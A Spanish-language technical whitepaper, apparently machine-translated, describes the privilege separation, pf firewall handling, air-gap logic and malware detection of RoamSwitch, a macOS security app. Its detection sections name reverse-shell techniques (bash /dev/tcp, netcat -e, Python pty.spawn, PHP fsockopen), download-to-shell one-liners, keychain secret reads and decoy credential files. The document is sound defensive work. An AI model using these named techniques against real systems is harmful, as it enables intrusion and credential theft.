Informe técnico sobre arquitectura y seguridad de RoamSwitch

§1

RoamSwitch es una aplicación de barra de menús para Mac. Dependiendo de cuánto confíes en la red, eres conectado actualmente, cambia automáticamente el firewall de macOS, los servicios compartidos, AirDrop, y DNS. También vigila la suplantación de ARP, los puertos abiertos al exterior, el almacenamiento USB y actividad de cifrado tipo ransomware, y cuando detecta algo peligroso irá tan lejos como cortar el tráfico con el filtro de paquetes (pf): un espacio de aire de emergencia.

En otras palabras, RoamSwitch instala un demonio con privilegios de root y, si quisiera, podría detener todos Tráfico de red en Mac. Lo construye una sola persona y "por favor, confía en mí" no es suficiente para justificar ese privilegio. En cambio, este documento explica el diseño en una forma que usted puede verificar.

¿Para quién es esto?

• Ingenieros decidiendo si instalarlo
• Investigadores de seguridad y periodistas que quieran comprender los aspectos internos antes de una reseña o un artículo.
• Personal de seguridad de empresas asociadas que evalúan una implementación interna o un paquete OEM

Lo que este documento no cubre

No aborda el ajuste del umbral de detección, las estadísticas de falsos positivos ni los tutoriales de la interfaz de usuario. Lo que explica son cuatro cosas: privilegios, límites del proceso, flujo de datos y criptografía. Las especificaciones de las funciones en sí se encuentran en el recurso MCP incluido. roamswitch://docs/features y en la ayuda de la aplicación.

Qué se divulga y hasta qué punto (política de divulgación)

Este documento está escrito bajo el supuesto de que un atacante ya tiene el binario distribuido. Cada URL de punto final, identificador, ruta de archivo, protocolo XPC y clave pública integrada que aparece aquí se puede sacar del envío RoamSwitch.app en unos minutos con strings, codesign -d o un proxy de tráfico. Escribiéndolos aquí por lo tanto no le da nada nuevo al atacante. Lo único que avanza es la comprensión del crítico.

Por otro lado, la implementación del lado del servidor que no se puede ver desde el binario: límite de velocidad umbrales, claves, puntos finales de administración, el esquema de base de datos, el diseño del proyecto de Firebase, no están incluidos. El diseño de integración de OEM y socios también está fuera del alcance aquí y se trata en un artículo separado. documento interno. "Lo que se puede aprender observando al cliente" es la línea de divulgación de este documento.

§2

RoamSwitch.app se compone de tres ejecutables. Sólo uno de ellos es privilegiado; el otros dos se ejecutan con derechos de usuario de inicio de sesión. Los tres se envían con Hardened Runtime habilitado, ID de desarrollador firmado y notariado.

Derechos y firma

• Los tres objetivos tienen ENABLE_HARDENED_RUNTIME = true.
• La zona de pruebas de la aplicación está deshabilitada (com.apple.security.app-sandbox = false). Los derechos del ayudante y del MCPServer son diccionarios vacíos.
• Las compilaciones de distribución están firmadas por la solicitud de identificación del desarrollador, certificadas por notario de Apple y grapadas (§10).

§3

como se registra

El ayudante está registrado como LaunchDaemon usando SMAppService.daemon(plistName:). el plist incrustado en la aplicación (Contents/Library/LaunchDaemons/com.tetsuharu.RoamSwitch.Helper.plist) declara sólo Label, BundleProgram, una sola entrada MachServices y AssociatedBundleIdentifiers. Por cómo funciona SMAppService, El registro ni siquiera es posible a menos que la aplicación esté en /Applications. en el primero registro, el asistente no se activa hasta que el usuario lo apruebe manualmente en Sistema Configuración.

Cuyas conexiones acepta (ClientValidator)

El ayudante inspecciona el proceso de conexión en NSXPCListener shouldAcceptNewConnection y reparte HelperProtocol sólo a aquellos que pase. La inspección utiliza el audit_token en lugar del PID, para Evite la reutilización de PID y TOCTOU.

# Requisitos de firma de código que la compilación Release exige a los clientes que se conectan
identifier "com.tetsuharu.RoamSwitch"
  and anchor apple generic
  and certificate leaf[subject.OU] = "GV76B6G4YU"

Este requisito se verifica con SecCodeCopyGuestWithAttributes y SecStaticCodeCheckValidity, y la conexión se corta si no pasa. Sólo Las compilaciones DEBUG eliminan el pin de ID del equipo para facilitar el desarrollo. Lo que realmente se envía es siempre un Versión de lanzamiento.

Qué puede hacer el ayudante (la lista completa)

Las operaciones privilegiadas definidas en Shared/HelperProtocol.swift son todas ellas. No hay ninguna API privilegiada que no aparezca aquí.

Estado dentro del ayudante

• HelperTool.shared es una instancia única compartida entre conexiones. Solía ​​ser una instancia separada por conexión, por lo que una contención de emergencia que abría una nueva conexión podría afectar a una carrera que perdía la pista de "qué servicios traer de vuelta".
• El servicio compartido y las copias de seguridad de DNS solo se modifican en una cola en serie (stateQueue).

Separación de privilegios dentro del asistente y la excepción para leer el registro SSH

Justo después de arrancar, el asistente se impone a sí mismo un techo aplicado por el kernel (un sandbox en tiempo de ejecución, distinto del entitlement de App Sandbox mencionado arriba), que heredan los procesos hijos que inicia. Ese techo impide sustituir programas del sistema, registrar un LaunchDaemon o LaunchAgent, reescribir la configuración de sudoers, PAM o sshd, escribir directamente en el almacén de directorios local y ejecutar programas ubicados en lugares donde pueden escribir los usuarios, los volúmenes externos o las carpetas temporales. No impide los cambios de cuenta hechos mediante Open Directory (dscl) y no restringe el tráfico de red (no es para eso).

Bajo este techo, /usr/bin/log no se ejecuta. En macOS 26, log se niega a ejecutarse dentro de un sandbox (log: Cannot run while sandboxed) y también como nobody (Must be admin). Por tanto, ni la app del usuario con sesión iniciada ni el asistente root dentro de su sandbox pueden leer el registro de sshd (el registro unificado). La detección de fuerza bruta SSH necesita leer ese registro, así que la separación de privilegios tiene una excepción.

La excepción es un pequeño proceso root: antes de entrar en su sandbox, el asistente inicia el mismo binario con --ssh-log-reader. Ese proceso solo acepta un comando de un byte (iniciar o detener) y no hace más que lanzar /usr/bin/log con argumentos fijos (log stream --style ndjson --level info y un filtro fijo que deja pasar solo líneas de sshd). No pasa variables de entorno y quien llama no tiene forma de elegir argumentos ni un comando. No lee ni interpreta el registro; la salida va a una tubería que le entregó el asistente.

Las líneas del registro contienen cadenas que un atacante puede escribir, como el nombre de usuario, así que el asistente root no las interpreta. Entrega cada línea a un proceso de análisis que se ejecuta como nobody dentro de un sandbox que prohíbe el acceso a la red, la escritura de archivos y el inicio o la bifurcación de procesos, y la dirección de origen se toma del final de la línea (IP port N), sobre el que el nombre de usuario no influye. En un Mac con la sesión remota desactivada, este proceso no inicia log y no lee nada. Las operaciones SSH que se pueden llamar mediante el XPC del asistente son cinco: aplicar los ajustes, obtener el estado, los registros y los inicios de sesión, y levantar un bloqueo. Ninguna acepta un comando.

§4

Cuatro características tocan pf: el espacio de aire de emergencia, la protección del puerto del servidor de desarrollo, el túnel VPN Interruptor de interrupción WireGuard (§5, 1.7.6+) y su interruptor de interrupción Tailscale (§5, 1.8.0+: solo los backends seleccionados). Todos ellos siempre van a través de un único punto de entrada, PFRulesetCoordinator, y nunca ejecutar pfctl -f ellos mismos.

Por qué hay un único punto de entrada

Anteriormente, las dos funciones cargaban reglas con pfctl -f de forma independiente, compitiendo sobre el conjunto de reglas principal único de pf. Si la regla estricta del guardia del puerto block ... port {…} fuera cargado después del block drop all del espacio de aire, podría terminar en un estado donde la pantalla decía "aislado" pero aún se podía acceder a la Mac. Este error se encontró atacando el máquina de otro host, y se corrigió en 1.4.3 (la historia está escrita en docs/marketing/zenn/03_lan_side_attack_test.md).

¿Cómo funciona ahora?

• Reconstruido en su totalidad cada vez. Todo el conjunto de reglas requerido se reconstruye a partir del estado actual y se aplica de una sola vez. Nunca se aplica como diferencia.
• Una cola serial. Cada cambio de pf se ejecuta en el mismo DispatchQueue, por lo que ya sea que provenga de una conexión XPC, el inicio del asistente o el temporizador de seguridad, los cambios se procesan en orden.
• El orden de prioridad es el siguiente (los elementos más arriba tienen prioridad).
  1. Entrehierro de emergencia → set skip on lo0 y block drop all (no se considera nada más)
  2. Interruptor de interrupción de VPN → block drop all más pass quick solo para: lo, la interfaz del túnel (utunN), el protocolo de enlace UDP a las IP del punto final anclado, DHCP e ICMP
  3. Guardia del servidor de desarrollo → block drop in quick proto tcp ... port { … }
  4. Ninguno → recargar /etc/pf.conf y devolver pf a su estado original
• Vuelve a leer después de aplicar. pfctl -sr vuelve a leer las reglas para confirmar que block drop all, o la regla de cada puerto, está realmente cargada. Un caso en el que pfctl -f se ignoró silenciosamente no se considera un éxito.
• El archivo temporal se escribe en una ruta que contiene UUID y se elimina una vez aplicado (v1.4.5 eliminó la ruta fija en favor de una difícil de adivinar). El directorio estatal es /Library/Application Support/RoamSwitch.

§5

Los tipos de bloque son cada uno diferente.

Cómo el Air-Gap ni se eterniza ni se puede esperar a que acabe

• Cómo termina depende de lo que lo activó (desde 1.9.52). Un señuelo de ransomware alterado, una detección confirmada de XProtect y un aislamiento manual elegido desde un aviso ARP son de «confianza alta»; ClickFix, las anomalías de puertos y similares son de «confianza baja». Un aislamiento de confianza baja se levanta solo, como antes, como máximo a los 10 minutos. Uno de confianza alta no se levanta a los 10 minutos: levantarlo del todo solo por el tiempo permitiría a un atacante limitarse a esperar.
• Un aislamiento de confianza alta se mantiene totalmente cerrado hasta un límite (1 hora por defecto, de 5 minutos a 24 horas en los ajustes) y entonces comprueba la causa. En el caso del ransomware, solo da la causa por desaparecida si el proceso sospechoso se identificó y ha terminado, y los señuelos no han cambiado desde la detección. Si no se puede confirmar, pasa al «modo degradado»: las conexiones nuevas siguen bloqueadas (salvo el bucle local y DHCP) y solo se restablece la radio Wi-Fi, para que pueda ver qué ocurre. Nunca se abre solo por el paso del tiempo. Solo se abre si usted lo levanta o si se confirma que la causa ha desaparecido.
• Al empezar un aislamiento, también se cortan las conexiones salientes que ya estaban abiertas. Se vacía la tabla de estados de pf (pfctl -F states), lo que detiene el tráfico anterior al aislamiento. Lo mismo ocurre al pasar al modo degradado.
• Un aislamiento causado por suplantación ARP solo se levanta automáticamente cuando se confirma, sin ningún tráfico, que la causa ha desaparecido. La comprobación solo lee la caché ARP (no envía paquetes) y da la causa por desaparecida cuando la MAC de confianza de la puerta de enlace se ve en 3 comprobaciones consecutivas que abarcan al menos 60 segundos. Durante el aislamiento, sin embargo, la entrada ARP de la puerta de enlace puede desaparecer de la tabla de vecinos (confirmado en un Mac real) y entonces no se puede confirmar la causa. En ese caso permanece en modo degradado hasta que usted lo levante.
• Aunque el helper se caiga, la comprobación de levantamiento no se detiene. Un LaunchDaemon dedicado sin ningún KeepAlive (AirGapFailsafe) se inicia por sí solo cada 3 minutos y toma la misma decisión que el helper (confianza baja: levantar a los 10 minutos; confianza alta: comprobar la causa en el límite y pasar a degradado). Si el propio helper se bloquea y pierde su temporizador de levantamiento, esta red de seguridad no se ve afectada (desde 1.8.6; la decisión según la confianza desde 1.9.52).
• Este daemon dedicado nunca toca la propia configuración de inicio del asistente interactivo. Un intento anterior (1.8.5) usaba el propio KeepAlive.PathState del asistente para esta recuperación, pero en ocasiones interfería con un cierre normal de la aplicación y provocaba un reinicio no deseado, por lo que se revirtió en favor del daemon actual, totalmente independiente.
• La comprobación de la marca de tiempo utiliza una combinación híbrida de tiempo de actividad monótono (ProcessInfo.systemUptime) y hora de reloj. Normalmente prioriza el tiempo de actividad monótono, de modo que las correcciones NTP y los cambios manuales de hora no le afectan. Solo recurre a la hora de reloj cuando el tiempo de actividad no es fiable —justo después de un reinicio, detectado cuando el valor actual es menor que el almacenado.
• Se vuelve a aplicar tras un reinicio o al recrearse el demonio. Al arrancar, el helper lee el estado del disco con reapplyFromDisk() y restaura por sí mismo el Air-Gap, el guardián de puertos y los valores predeterminados del sistema, en ese orden. También conserva el estado del aislamiento (confianza, completo o degradado) y el tiempo transcurrido; la cuenta continúa desde la primera activación (confirmado en un Mac real reiniciando el helper).
• Un levantamiento fallido se trata como una falla. Si block drop all en realidad no se pudo eliminar, la marca de tiempo se vuelve a escribir para que el temporizador de seguridad y el reintento tengan algo en lo que converger. La pantalla nunca muestra falsamente "levantado".
• Puede recuperar el control en cualquier momento: con «Levantar aislamiento Air-Gap» en la barra de menús, con el botón de levantar del modal, o simplemente apagando el Wi-Fi. Levantarlo no requiere Pro (funciona incluso si Pro caduca en mitad de un aislamiento).

Cómo se recupera un falso positivo de guardia de puerto

El bloqueo automático de puerto desconocido (Pro, activado de forma predeterminada una vez que se activa Pro) puede detener un acceso legítimo Receptor LAN: LocalSend, Syncthing, cualquier cosa comenzó después de que se habilitó la protección. cuando eso sucede, permítalo desde el botón "Permitir" en el banner de notificación o en la fila correspondiente en la pantalla "Puertos expuestos". Un ejecutable permitido una vez se registra como conocido y no se bloquea nuevamente (PortAnomalyGuard.allowPort(_:)). Tenga en cuenta que los intérpretes de guiones genéricos (Python, Node.js, Netcat, etc.) tienen un alcance estricto de path:port en lugar de binario por sí solos para evitar ataques de personas que viven de la tierra. Demonios del sistema Apple que satisfacen anchor apple (rapportd, que respalda Handoff y similares) no son visto en primer lugar.

Cebo canario de ransomware autorreparable y supresión de contención

Si los archivos señuelo canary son manipulados o renombrados y activan el espacio de aire de emergencia, liberarlos la contención después de verificar la seguridad regenera automáticamente los archivos canary dañados o faltantes de nuevo a su hash de referencia auténtico generado a partir de plantillas integradas, restaurando inmediatamente la vigilancia kqueue ininterrumpida (evitando la contaminación de referencia del adversario). Además, durante la contención activa (mientras se muestra el modo de emergencia), las alertas de notificación redundantes y los eventos de reactivación del sondeo periódico de integridad en segundo plano se suprimen automáticamente para evitar distraer al usuario durante la respuesta al incidente.

Detección genérica de ransomware basada en entropía — 1.10.0, Pro, activada por defecto

Vigila las carpetas Documentos, Escritorio, Descargas y Fotos mediante FSEvents, y se activa cuando llegan escrituras con entropía de Shannon superior al umbral (7,92) en una ráfaga de 20 o más archivos en 5 segundos. A diferencia del enfoque canary (archivo señuelo), no depende de la manipulación de un archivo señuelo, por lo que también detecta el cifrado en lugares sin archivo canary. Solo cuando se alcanza el umbral utiliza lsof para identificar el proceso y comprobarlo contra una lista de permitidos (cp, mv, ditto, tar, ffmpeg, Xcode, Time Machine, navegadores principales, etc.). Al detectarlo, activa el mismo bloqueo de red automático, a través de RansomwareContainmentManager, que usa la protección canary.

La edición Linux puede rastrear ráfagas por proceso porque fanotify asocia un PID a cada evento de escritura. macOS no tiene fanotify ni (por diseño) EndpointSecurity, por lo que esta implementación solo lee la ruta mediante FSEvents y cuenta la ráfaga de forma global, independiente del proceso. Limitación: cuando varios procesos legítimos escriben a la vez grandes cantidades de archivos de alta entropía (por ejemplo, trabajos de compresión o cifrado simultáneos), es más probable un falso positivo aquí que en la edición Linux.

Instantáneas previas al daño para recuperar tras un ransomware (Mac)

Una instantánea tomada en el momento de la detección ya contiene los archivos cifrados antes de ella, así que no es un camino de vuelta. Por eso RoamSwitch toma instantáneas locales APFS de forma periódica, con independencia de la detección (cada 6 horas por defecto; desactivado, 1, 3, 6, 12 o 24 horas). Cuando salta una detección, las nuevas instantáneas previas al daño y la limpieza se pausan hasta 7 días (modo de retención), para que el estado cifrado no desplace la última generación anterior al cifrado. La recuperación es siempre manual: solo los archivos elegidos se copian a ~/RoamSwitch-Recovered/. Nunca se sobrescriben los archivos actuales y no se ofrece restaurar el volumen completo. Copiar requiere montar la instantánea, por lo que el helper con privilegios necesita acceso total al disco (las instantáneas se siguen creando sin él). macOS puede eliminar por sí mismo las instantáneas locales, por ejemplo con poco espacio libre, y no se garantiza que duren más de unas 24 horas. La ventana de recuperación es una función Pro (la creación de las instantáneas funciona también sin Pro).

Paquete de evidencia forense — 1.10.0

Cuando se inicia un Air-Gap de emergencia — activado por la protección canary, la protección de ransomware por entropía u otra similar — una cola en segundo plano que no bloquea la propia contención guarda una instantánea de la lista de procesos (ps), las conexiones de red (lsof -i), los archivos modificados en los últimos cinco minutos y los archivos abiertos por el proceso sospechoso, en ~/Library/Application Support/RoamSwitch/incident-evidence/<marca de tiempo>/manifest.json. El manifiesto registra el SHA-256 de cada artefacto para poder detectar manipulaciones posteriores. La lista de paquetes está disponible desde la herramienta MCP get_forensic_evidence_bundles. Limitación: al construirse sin el derecho EndpointSecurity, no captura trazas de paquetes ni instantáneas de memoria/descriptores de archivo del proceso.

Registro de ejecución de procesos (Mac, Pro, desactivado por defecto)

El helper privilegiado lanza el /usr/bin/eslogger propio de macOS (exec, fork, exit) como proceso hijo y registra los inicios de procesos solo en este Mac. No solicita el entitlement de EndpointSecurity (nunca llama a es_new_client) y RoamSwitch debe estar permitido en Acceso total al disco (Ajustes del Sistema; si no aparece, añada /Applications/RoamSwitch.app con «+»). Mientras falte el permiso, muestra el estado «no disponible», espera y vuelve a comprobar cada 60 segundos (no cambia a un sondeo costoso). Solo notifica. Nunca bloquea la ejecución ni la comunicación, ni aísla.

Notifica estos diez comportamientos: un navegador, una aplicación de Office o de correo que lanza un shell directamente; la ejecución de un binario sin firmar desde una carpeta temporal o una ubicación en cuarentena; un comando de una línea que descarga y lo canaliza a un shell (combinado con una URL de IP directa, base64, eval o verificación TLS desactivada); osascript usando base64 o eval; la ejecución de un archivo justo después de eliminar su atributo de cuarentena; el lanzamiento de un binario sin firmar desde un registro de inicio automático recién escrito (LaunchAgent o LaunchDaemon); un proceso padre no firmado por Apple que lee un secreto del llavero (como security find-generic-password -w); una línea de python3, perl, ruby, php o pwsh con -c/-e/-Command en la que una decodificación base64/eval y una llamada a curl, wget, exec o system aparecen juntas en la misma línea (desde 1.10.0; usar solo base64 o solo eval no activa esto); y el lanzamiento de un proceso con la variable de entorno DYLD_INSERT_LIBRARIES definida (desde 1.10.0; para evitar filtrar secretos, solo se lee el valor de esta única variable; los procesos firmados por Apple quedan excluidos); y una línea de comandos que nombra directamente un archivo de credenciales señuelo colocado por RoamSwitch (como ~/.aws/credentials o ~/.env.backup, reconocido por la marca en su contenido), por ejemplo cat, tar o curl -F; los archivos reales nunca coinciden y las lecturas mediante una biblioteca quedan para la vigilancia de honeytokens. Cada detección lleva un ID de técnica MITRE ATT&CK.

Solo las detecciones de gravedad alta se convierten en banners, y las del mismo tipo se agrupan en una cada 10 minutos (cada evento queda en el registro). Las herramientas de desarrollo como Claude Code y la CLI de GitHub que leen sus propias credenciales no se notifican por defecto. Si otro programa las lee, la acción «Permitir este programa» de la notificación permite solo ese elemento (por Team ID si está firmado; si no, por nombre del ejecutable, junto con el nombre del elemento).

El registro se guarda legible solo por root (directorio 0700, archivos 0600) y conserva 200 MB y 14 días por defecto. No se guardan las variables de entorno, pero los argumentos de línea de comandos pueden contener secretos. Cada segmento se sella en una cadena de hashes enlazada al hash del segmento anterior, y «Verificar cadena» detecta ediciones, segmentos ausentes y sellos eliminados (cada uno confirmado en un Mac real). Esto detecta la manipulación, no la impide. Borrar o revertir el segmento más reciente no se puede detectar. La lectura pasa por el XPC del helper, y MCP pasa por la app (con nueva comprobación de Pro).

Límites: las ejecuciones anteriores al inicio del helper o a la activación del registro no se registran. eslogger observa a posteriori y no puede bloquear. Con cargas como miles de inicios de proceso por segundo se pierden eventos (el recuento se muestra en pantalla y el funcionamiento continúa). Este registro no sustituye a un EDR (detección y respuesta en endpoints).

Honeytokens de credenciales — 1.10.0, Pro, activados por defecto

Coloca un archivo de credenciales señuelo, marcado con un valor centinela, en cada una de estas tres ubicaciones: ~/.aws/credentials, ~/.ssh/id_rsa_backup y ~/.docker/config.json. Nunca sobrescribe un archivo real ya presente en esa ruta. La detección de acceso combina el mismo mecanismo kqueue (DispatchSource.makeFileSystemObjectSource) que usa la protección canary con un sondeo de la fecha de acceso cada 30 segundos, ya que sin EndpointSecurity no se puede capturar de forma fiable un evento open(). La detección solo notifica; nunca bloquea nada ni activa el aislamiento. El señuelo de ssh usa un nombre que ssh no busca por defecto (no id_rsa), de modo que una ejecución normal de ssh ni se rompe ni genera falsas alarmas. El señuelo de AWS usa un nombre de perfil distinto en lugar de [default], el de Docker apunta a un registro interno inexistente y todos se crean con modo 0600 (desde la 1.10.3). Además de esos tres, se colocan señuelos en ~/.pypirc y ~/.env.backup (para búsquedas de tokens de PyPI, archivos .env y claves de API de IA). No se usa ~/.npmrc porque npm lo lee en cada ejecución, ni las credenciales de GCP porque un archivo falso rompería la autenticación real. Cuando se accede realmente a un señuelo, se coloca además exactamente un señuelo relacionado (~/.aws/config, ~/.ssh/config o ~/.kube/config) y también se vigila; la cadena termina tras un paso y no se sobrescribe ningún archivo existente.

Supervisión de acceso a credenciales del navegador — 1.10.0, opcional incluso en Pro, desactivada por defecto

Vigila, mediante FSEvents, las escrituras en las bases de datos de contraseñas/cookies guardadas de Chrome, Brave, Edge, Vivaldi, Chromium y Firefox. Cuando ocurre una ráfaga, lsof identifica el proceso; cualquier cosa que no sea el propio navegador, un indexador como Spotlight o un demonio de copia de seguridad cuenta como detección. A diferencia de las demás protecciones nuevas, activar Pro no la activa automáticamente: una extensión del navegador o la función de importación de un gestor de contraseñas pueden dispararla, por lo que el riesgo de falso positivo es lo bastante inherente como para que se entregue como opcional.

Comunicación con el Sensor (TLS y firmas)

El emparejamiento, las solicitudes de auditoría y la obtención de resultados con un RoamSwitch Sensor (un producto aparte) de la misma LAN usan TLS 1.3 con la huella del certificado (SHA-256) fijada (Sensor 0.3.9 y posteriores). La huella no se obtiene por la red; el usuario escribe el valor que muestra la pantalla del Sensor. No se validan la autoridad certificadora, el nombre de host ni la caducidad, y solo se confía en el valor fijado. Si TLS falla, no se recurre al texto plano (recurrir a él permitiría a un intermediario degradar la conexión). Las firmas de las solicitudes incluyen marca de tiempo y nonce (v2) para impedir la repetición. Solo un emparejamiento antiguo sin huella sigue conectando en texto plano como antes, con una advertencia.

Si el certificado cambia, se rechaza la conexión. La actualización de la huella fijada nunca es automática: solo se guarda cuando el usuario escribe y confirma el nuevo valor y una sonda firmada tiene éxito realmente por TLS. Límite: esta sonda no comprueba con una clave que el Sensor sea el mismo que se emparejó antes. Depende de que el usuario escriba el valor que confirmó en la pantalla del Sensor.

Detección multicapa de descargas (firmas estáticas + ClamAV) — capa de firmas estáticas añadida en 1.8.7

Los archivos nuevos ubicados en las carpetas Descargas, Escritorio o Documentos pasan primero por una comprobación ligera de firmas estáticas mediante StaticSignatureScanner (solo los primeros 4 MB, con una simple coincidencia de patrones de bytes AND/OR; sin expresiones regulares ni cálculos de entropía). No necesita el entitlement de EndpointSecurity y sigue funcionando incluso donde ClamAV no está instalado. La detección se limita deliberadamente a lo que puede afirmarse como un hecho sin un corpus real de malware: la firma de prueba EICAR, estándar del sector, y cinco reverse shells clásicas de una sola línea documentadas en referencias públicas de seguridad ofensiva (por ejemplo, PayloadsAllTheThings) —/dev/tcp/ de bash/sh, -e de netcat, pty.spawn de Python, Socket de Perl y fsockopen de PHP. No escribimos «firmas» a nivel de bytes para familias de malware con nombre propio sin contar con una muestra real de la que extraerlas; eso solo daría una falsa sensación de seguridad. Los propios patrones se almacenan ofuscados con XOR 0x5A, para que el binario de RoamSwitch nunca incluya literalmente una cadena EICAR o una reverse shell por la que el propio ClamAV pudiera marcarlo.

Solo los archivos que la capa de firmas estáticas considera «limpios» pasan al análisis de ClamAV. Los archivos nuevos en las carpetas Descargas, Escritorio o Documentos son analizados de inmediato por ClamAV, tengan o no una extensión .tmp o un atributo com.apple.quarantine (por ejemplo, una copia hecha desde Terminal). EICAR y otras firmas de prueba estándar del sector se tratan como inofensivas: no se muestra ninguna notificación, solo se registra una entrada en el historial de notificaciones, y nunca se ponen en cuarentena ni se bloquean (solo las muestras de malware genuinas se ponen en cuarentena). Y si ya existía previamente un archivo en cuarentena con el mismo nombre, la nueva amenaza igualmente se traslada a la carpeta de cuarentena con un nombre único con marca de tiempo, de modo que una amenaza nunca puede permanecer en su ubicación original por una colisión de nombres.

Detección de web shells en las carpetas web de desarrollo (Web Rules)

Los archivos del desarrollo web local (~/Sites, MAMP, Herd, Local, /Library/WebServer/Documents y las carpetas de proyecto registradas para el cotejo de CVE de paquetes) se comprueban con las mismas 18 reglas de detección que la edición Linux: PHP, JavaScript, JSP y ASP. Las reglas describen solo técnicas documentadas públicamente y no contienen ninguna firma extraída de una muestra real. Hay tres capas: integradas en la app, una actualización firmada de solo recepción una vez al día (incluida en la obtención única existente) y sus propias reglas en ~/Library/Application Support/RoamSwitch/rules.d (solo se leen archivos propiedad de root o suya que ni el grupo ni otros puedan escribir). Las carpetas que la app ya vigila, como Descargas, se comprueban justo después de una escritura; las carpetas web de desarrollo, una vez al día y bajo demanda (la comprobación diaria no entra en node_modules ni .git; la de una carpeta elegida sí entra en node_modules). Como no se usa EndpointSecurity, nada puede detenerse antes de ejecutarse: toda detección es posterior.

Por defecto solo se pone en cuarentena automáticamente critical. Un resultado high no toca el archivo y aparece como notificación y en una lista de Ajustes, donde puede elegir «no detectar de nuevo» (el nivel de cuarentena se cambia en Ajustes). El hook posterior a la detección (~/Library/Application Support/RoamSwitch/hooks/post-detection) solo se ejecuta si pertenece a root o a usted y nadie más puede escribirlo, y se detiene a los 30 segundos. La respuesta sobre cuentas (desactivada por defecto; activarla requiere la contraseña de administrador) revoca el shell de inicio de sesión del propietario de un archivo en cuarentena, pero no toca root, UID inferiores a 501 ni usuarios con sesión iniciada (incluido usted, que usa este Mac). Ejecutado como root bajo el propio sandbox del ayudante en una máquina virtual con macOS 26, se verificaron el cambio real de shell con dscl y su restauración (el sandbox bloquea la escritura directa en dslocal, pero no los cambios hechos mediante dscl). La confirmación con la contraseña de administrador y la ruta de llamada de la app al ayudante todavía no se han verificado en un equipo real. Hubo 0 resultados en 114.501 archivos de una carpeta de desarrollo.

Supervisión de nueva persistencia de inicio (LaunchAgent/LaunchDaemon) — 1.8.7

Los nuevos archivos .plist colocados en ~/Library/LaunchAgents, /Library/LaunchAgents o /Library/LaunchDaemons se detectan en tiempo real mediante FSEvents (PersistenceMonitorGuard). Sin el ES_EVENT_TYPE_AUTH_CREATE de EndpointSecurity, no se puede bloquear la propia escritura. Lo que sí se puede hacer es notarlo en cuestión de segundos y evaluar su contenido.

La evaluación se basa en qué se está lanzando directamente, no en la firma del propio ejecutable. Técnicas reales observadas en 2026 —un LaunchAgent disfrazado de Google Update que oculta un script bash decodificado en base64, o un LaunchDaemon con privilegios de root que reejecuta en cada arranque una carga útil de AppleScript decodificada en base64— ocultan ambas el código malicioso en el propio script, mientras llaman sin más a un /bin/bash o /usr/bin/osascript firmado válidamente. Una comprobación que solo mirara la firma del ejecutable dejaría pasar ambos casos. Por eso, cualquier LaunchAgent/LaunchDaemon recién registrado que invoque directamente un intérprete de scripts sin firmar (bash, sh, zsh, osascript, python3, perl, ruby, php y similares) se marca de forma incondicional, sin importar que la firma del propio intérprete sea válida. Los argumentos que se le pasan también se someten a StaticSignatureScanner, y cualquier patrón conocido como malicioso se incluye en la notificación. Las entradas registradas mediante BundleProgram (que apuntan a un binario compilado y firmado dentro de un paquete de aplicación, incluido el propio Helper de RoamSwitch) simplemente se verifican de la forma habitual, con codesign --verify --strict.

Detección de ClickFix y bloqueo de emergencia — 1.8.7, desactivado por defecto

«ClickFix» es una técnica de ingeniería social en la que una falsa pantalla de CAPTCHA o error le indica que abra Terminal y pegue un comando «para verificar». Las detecciones aumentaron más de un 500 % entre 2024 y 2025, y hacia 2026 se considera uno de los vectores de ataque más frecuentes en macOS. Como es el propio shell legítimo del usuario el que ejecuta exactamente lo que se escribió, elude por completo la verificación de firma de Gatekeeper.

Barra de menú → Protección contra malware → Defensa ClickFix (Pro, desactivada por defecto). Vigila mediante FSEvents las líneas nuevas añadidas a ~/.zsh_history/~/.bash_history (solo las líneas añadidas después de que se inicie la protección; nunca examina el historial ya existente), y solo coincide con las reverse shells clásicas que comparte con StaticSignatureScanner, además de la combinación específica de decodificar base64 directamente hacia un shell o hacia osascript. Un simple curl | bash —extremadamente común en instaladores legítimos— queda deliberadamente excluido, ya que es indistinguible de las instrucciones oficiales de instalación de Homebrew, rustup, nvm y similares. En cuanto se encuentra una coincidencia, se activa el mismo air-gap de emergencia descrito antes. Como el comando ya se ha ejecutado, esto es necesariamente a posteriori, pero aun así puede interrumpir una descarga de segunda etapa o una exfiltración de credenciales en curso. Como cualquier otro disparador de air-gap, se levanta por sí solo a los 10 minutos como máximo (véase el inicio de esta sección).

Una limitación conocida. Dado que la detección depende de una escritura en el historial del shell, no puede detectar la variante sin archivo que evita Terminal por completo invocando directamente el Editor de Scripts mediante el esquema de URL applescript://, sin escribir nada en disco. Apple ha introducido cierta mitigación para esto (un diálogo de confirmación para scripts no identificados), pero se han reportado variantes que lo eluden. Probamos esta vía en hardware real usando el registro unificado de macOS (log show/log stream) y no encontramos ninguna señal de registro distintiva en la que basar la detección. Preferimos exponer con claridad esta limitación antes que afirmar una cobertura que no tenemos.

Detección de riesgos de Docker — 1.8.9, Pro, desactivada de forma predeterminada

Barra de menús → «Protección antimalware» → «Detectar contenedores Docker privilegiados y montajes docker.sock» (DockerEventGuard). Dado que esta base de código no tiene precedente de una conexión de streaming persistente como docker events, utiliza el mismo enfoque de sondeo por temporizador que PortAnomalyGuard. Cada 20 segundos obtiene el conjunto de ID de contenedores con un ligero docker ps -q, y solo ejecuta docker inspect --format sobre la diferencia (contenedores recién iniciados) para una inspección detallada. La cadena de formato usada para la detección es deliberadamente idéntica a la de la edición Linux (roamswitch_core::health::LinuxHealthChecker::DOCKER_INSPECT_RISK_FORMAT), de modo que ambas plataformas señalan exactamente las mismas condiciones (inicio en modo --privileged, o un montaje enlazado de /var/run/docker.sock).

No se toma ninguna acción automática al detectarlo. Un contenedor privilegiado o un montaje de docker.sock es una «configuración» de riesgo que podría permitir una fuga de contenedor, pero no es un compromiso confirmado; también hay usos legítimos, como ejecutar deliberadamente un agente de supervisión en modo privilegiado. Dado que la mayoría de los usuarios no usan Docker en absoluto, esta función permanece desactivada de forma predeterminada incluso con una licencia Pro. No utiliza el entitlement EndpointSecurity; la CLI docker se localiza comprobando primero la ruta de instalación predeterminada de Docker Desktop, luego Homebrew y finalmente which. Verificado en una instalación real de Docker Desktop (29.7.2) en tres escenarios: un contenedor privilegiado, un contenedor con montaje docker.sock y un contenedor normal, sin falsos positivos ni detecciones omitidas.

Auditoría de fugas de secretos y claves API — añadida en 1.8.4, análisis de carpetas añadido en 1.8.9

